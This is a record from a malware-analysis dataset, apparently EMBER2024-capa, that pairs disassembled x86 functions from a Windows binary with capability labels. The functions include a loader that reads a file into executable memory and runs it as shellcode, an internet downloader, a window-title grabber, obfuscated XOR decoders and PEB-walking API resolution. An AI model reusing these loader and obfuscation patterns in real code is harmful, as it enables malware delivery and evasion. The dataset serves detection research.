joyce8/EMBER2024-capa huggingface dataset:
Function at 0x76b8ec9d
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x76baa330]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x58], edi
test edi, edi
jle 0x76b8ed32
push esi
mov esi, dword [ebx + 4]
mov ecx, esi
shr ecx, 0xb
and ecx, 7
push 3
add ecx, ecx
pop edx
shl edx, cl
mov eax, edx
not eax
and eax, dword [ebx + 8]
or eax, edx
mov dword [ebx + 8], eax
lea eax, [esi + 0x800]
xor eax, esi
and eax, 0x3800
xor eax, esi
mov dword [ebx + 4], eax
sub edi, 1
jne 0x76b8ecbf
imul edi, dword [ebp - 0x58], 0xa
lea esi, [ebx + 0x1c]
lea eax, [ebp - 0x54]
push edi
push esi
push eax
call sym.msvcrt.dll_memcpy
imul eax, dword [ebp - 0x58], 0xa
push 0x50
pop ecx
sub ecx, eax
lea eax, [ebx + 0x1c]
push ecx
add eax, edi
push eax
push esi
call sym.msvcrt.dll_memmove
push edi
lea eax, [ebp - 0x54]
sub ebx, edi
push eax
add ebx, 0x6c
push ebx
call sym.msvcrt.dll_memcpy
add esp, 0x24
pop esi
jmp 0x76b8ed71
jns 0x76b8ed71
mov ecx, dword [ebx + 4]
shr ecx, 0xb
dec ecx
shl ecx, 0xb
xor ecx, dword [ebx + 4]
and ecx, 0x3800
xor ecx, dword [ebx + 4]
mov dword [ebx + 4], ecx
shr ecx, 0xb
push 3
and ecx, 7
pop eax
add ecx, ecx
shl eax, cl
not eax
and dword [ebx + 8], eax
lea eax, [ebx + 0x1c]
push 0x46
push eax
lea eax, [ebx + 0x26]
push eax
call sym.msvcrt.dll_memmove
add esp, 0xc
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.76b4dc60
leave
ret
Function at 0x401760
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41bec3
push eax
mov eax, 0x10d0
mov dword fs:[0], esp
call fcn.00415da0
push ebx
push esi
xor eax, eax
push edi
xor edi, edi
mov word [ebp - 0x2c], ax
lea esi, [edi + 0x20]
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], edi
call fcn.00404510
push edi
push edi
push edi
push edi
push str.Download
mov dword [ebp - 4], edi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
cmp ebx, edi
jne 0x4017cd
cmp dword [ebp - 0x18], 8
jb 0x40190d
mov ecx, dword [ebp - 0x2c]
push ecx
jmp 0x401905
mov eax, dword [ebp - 0x2c]
mov edi, 8
cmp dword [ebp - 0x18], edi
jae 0x4017dd
lea eax, [ebp - 0x2c]
push 0
push 0x84000100
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
jne 0x401805
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0x18], edi
jmp 0x4018ff
lea eax, [ebp - 0xd8]
push eax
call fcn.004024a0
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + 4]
test byte [ebp + edx - 0xcc], 6
je 0x401855
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0
call fcn.00401920
cmp dword [ebp - 0x18], edi
jb 0x40190d
mov eax, dword [ebp - 0x2c]
push eax
jmp 0x401905
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x10]
push ecx
push 0x1000
lea edx, [ebp - 0x10d8]
push edx
push esi
call edi
test eax, eax
je 0x4018a6
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4018a6
push 0
push eax
lea eax, [ebp - 0x10d8]
push eax
lea ecx, [ebp - 0xd8]
push ecx
call fcn.00401f60
lea edx, [ebp - 0x10]
push edx
push 0x1000
lea eax, [ebp - 0x10d8]
push eax
push esi
call edi
test eax, eax
jne 0x401872
lea ecx, [ebp - 0xd4]
call fcn.004034e0
test eax, eax
jne 0x4018e0
mov ecx, dword [ebp - 0xd8]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0xcc]
lea ecx, [ebp + ecx - 0xd8]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x4018d8
or eax, 4
push 0
push eax
call fcn.00401500
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0
call fcn.00401920
cmp dword [ebp - 0x18], 8
jb 0x40190d
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00408159
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401990
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 1
push 0x80000000
push str.C:Usersinx.cod
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push esi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401a20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x108
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x401a49
push 0x100
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call fcn.004087d7
mov dword [esp + 0x10], edx
lea edx, [esp + 0xc]
add esp, 4
push edx
mov dword [esp + 0xc], eax
call fcn.0040867e
add esp, 4
mov esi, eax
mov eax, dword [esi + 0xc]
mov edx, dword [esi + 0x14]
push eax
push ecx
push str.__::_
push ecx
mov ecx, dword [esi + 0x10]
inc ecx
push ecx
push ecx
push 0x4201fc
push ecx
add edx, 0x76c
push edx
push 0x424978
call fcn.00401c20
add esp, 4
push eax
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
add esp, 4
push eax
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
mov eax, dword [esi]
mov edx, dword [esi + 8]
push eax
push ecx
push 0x420200
push ecx
mov ecx, dword [esi + 4]
push ecx
push ecx
push 0x420204
push ecx
push edx
push ecx
push 0x420208
push 0x424978
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
add esp, 4
push eax
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
add esp, 4
push eax
call fcn.00405c20
add esp, 0xc
push eax
call fcn.00401c20
mov esi, eax
push 0xa
mov ecx, esi
call fcn.00401df0
mov eax, dword [esi]
mov eax, dword [eax + 4]
xor edi, edi
test byte [eax + esi + 0xc], 6
jne 0x401b3f
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x401b3f
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
test edi, edi
je 0x401b60
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], 0
jne 0x401b58
or eax, 4
push 0
push eax
call fcn.00401500
call fcn.00401760
call fcn.00401990
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403610
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41bc88
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
mov ebx, ecx
cmp dword [ebx + 0x44], 0
je 0x4037e4
cmp byte [ebx + 0x49], 0
je 0x4037e4
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
jne 0x403661
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x403684
lea eax, [ebp - 0x2c]
push edi
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
push esi
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4036a3
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x10]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x4036e6
dec eax
je 0x4036ea
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4037c2
call fcn.00401bc0
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4036fa
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x10]
sub esi, edx
je 0x403727
cmp edi, 0x10
jae 0x403709
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.00408330
add esp, 0x10
cmp esi, eax
jne 0x4037b7
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4037bf
test esi, esi
jne 0x403697
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4037da
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4037da
cmp edi, esi
jae 0x4037a0
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00405360
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403697
mov ecx, eax
cmp edi, 0x10
jae 0x40377c
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x403797
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403691
test esi, esi
jne 0x403772
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x4037af
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403691
lea ecx, [ebp - 0x2c]
jmp 0x4036ce
lea ecx, [ebp - 0x2c]
call fcn.00401bc0
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x420220
call fcn.00406b78
mov ecx, dword [ebp - 0xc]
mov al, 1
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4043e0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41bbcb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
lea ecx, [esi + 4]
mov dword [ebp - 0x14], esi
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.00406ccc
push 4
mov dword [ebp - 4], 0
call fcn.00408828
mov edi, eax
add esp, 4
test edi, edi
je 0x404457
push ebx
call fcn.00406ac7
mov dword [edi], eax
call fcn.00406886
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.00406c8d
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x40444c
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.00406cb5
pop ebx
jmp 0x404459
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x409711
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42365c]
jne 0x40971b
repz ret
jmp fcn.0040fefc
Function at 0x4163e4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42365c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040dee8
and dword [ebp - 0x14], 0
cmp dword [0x42590c], 0
mov dword [ebp - 0x18], eax
jne 0x416497
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41653f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41653f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42590c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x425910], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x425914], eax
call edi
push eax
call esi
mov dword [0x42591c], eax
test eax, eax
je 0x416497
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x425918], eax
mov eax, dword [0x425918]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4164f0
cmp dword [0x42591c], ecx
je 0x4164f0
push eax
call esi
push dword [0x42591c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4164f0
test ebx, ebx
je 0x4164f0
call edi
test eax, eax
je 0x4164e7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4164e7
test byte [ebp - 8], 1
jne 0x4164f0
or dword [ebp + 0x10], 0x200000
jmp 0x416523
mov eax, dword [0x425910]
cmp eax, dword [ebp - 0x18]
je 0x416523
push eax
call esi
test eax, eax
je 0x416523
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x416523
mov eax, dword [0x425914]
cmp eax, dword [ebp - 0x18]
je 0x416523
push eax
call esi
test eax, eax
je 0x416523
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42590c]
call esi
test eax, eax
je 0x41653f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x416541
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409711
leave
ret
Function at 0x7720c501
Capabilities:
Encode data using xor

Disassembly:
call 0x7720c47a
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x7720c4aa
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x7720c4c6
xor edx, 0
jmp 0x7720c4d1
xor edx, edx
jmp 0x7720c4e8
jmp 0x7720c4f4
xor eax, eax
push 0x8427d7c0
call 0x7720c501
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x7720c53d
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x7720c516
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x7720c554
add eax, 0
jno 0x7720c559
add esi, 0
ret 0x10

Function at 0x7720d2c2
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x7720d2e4
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x7720d486
cmp edi, dword [ebp + 0x10]
jb 0x7720d486
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.7720cdae
inc edi
jmp 0x7720d36d
jmp 0x7720d37a
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.7720cdae
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.7720cdae
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x7720d3ce
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x7720d3b2
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.7720d3fc
add dword [eax], 0x39
jle 0x7720d3d8
sub al, 0xf5
mov ch, al
call fcn.7720d411
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10
Function at 0x7720f0e9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x7720f0ff
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x7720f110
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.7720f151
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0x772114bd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x77211406
add ebx, 0
push ecx
call 0x7721141b
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x6bc373c9
sub ebx, dword [0x6bc56c08]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x6bc56bf8
call fcn.7720cee5
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.7720c3f3
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x77211579
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x77211579
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x77211530
mov eax, 1
lock xchg dword [0x6bc56c04], eax
push 0x3dd1fc71
call 0x772114bd
push esi
add esp, 8
cmp eax, 0
jne 0x772114a6
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x772114cc
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x772114e1
cmp ecx, edx
cmp eax, 0
je 0x77211506
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x772114f0
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.7721151f
dec eax
loope 0x77211522
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x6bc56c04], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x77211556
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x7721156b
jmp 0x77211576
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x77211464
Function at 0x772185de
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x772188b4
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x6bc4387c
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x6bc3a842
push 0xffffffffffffffff
call fcn.7720f7de
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x77218648
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.77218660
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x772188a8
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x7721887c
Function at 0x772280ae
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x772280d0
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x772280d0
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x772280d0
ret
cmp word [ebx + 4], 0x14c
jne 0x772280d0
test word [ebx + 0x16], 2
je 0x772280d0
test word [ebx + 0x16], 0x100
je 0x772280d0
cmp word [ebx + 0x18], 0x10b
jne 0x772280d0
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x772280d0
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x7722815c
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x772280f0
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.7720f03b
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x772280d0
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x7722815c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x772280d0
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x772280d0
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x772280d0
ret
cmp word [ebx + 4], 0x14c
jne 0x772280d0
test word [ebx + 0x16], 2
je 0x772280d0
test word [ebx + 0x16], 0x100
je 0x772280d0
cmp word [ebx + 0x18], 0x10b
jne 0x772280d0
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x772280d0
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x7722815c
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x772280f0
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.7720f03b
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x772280d0
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8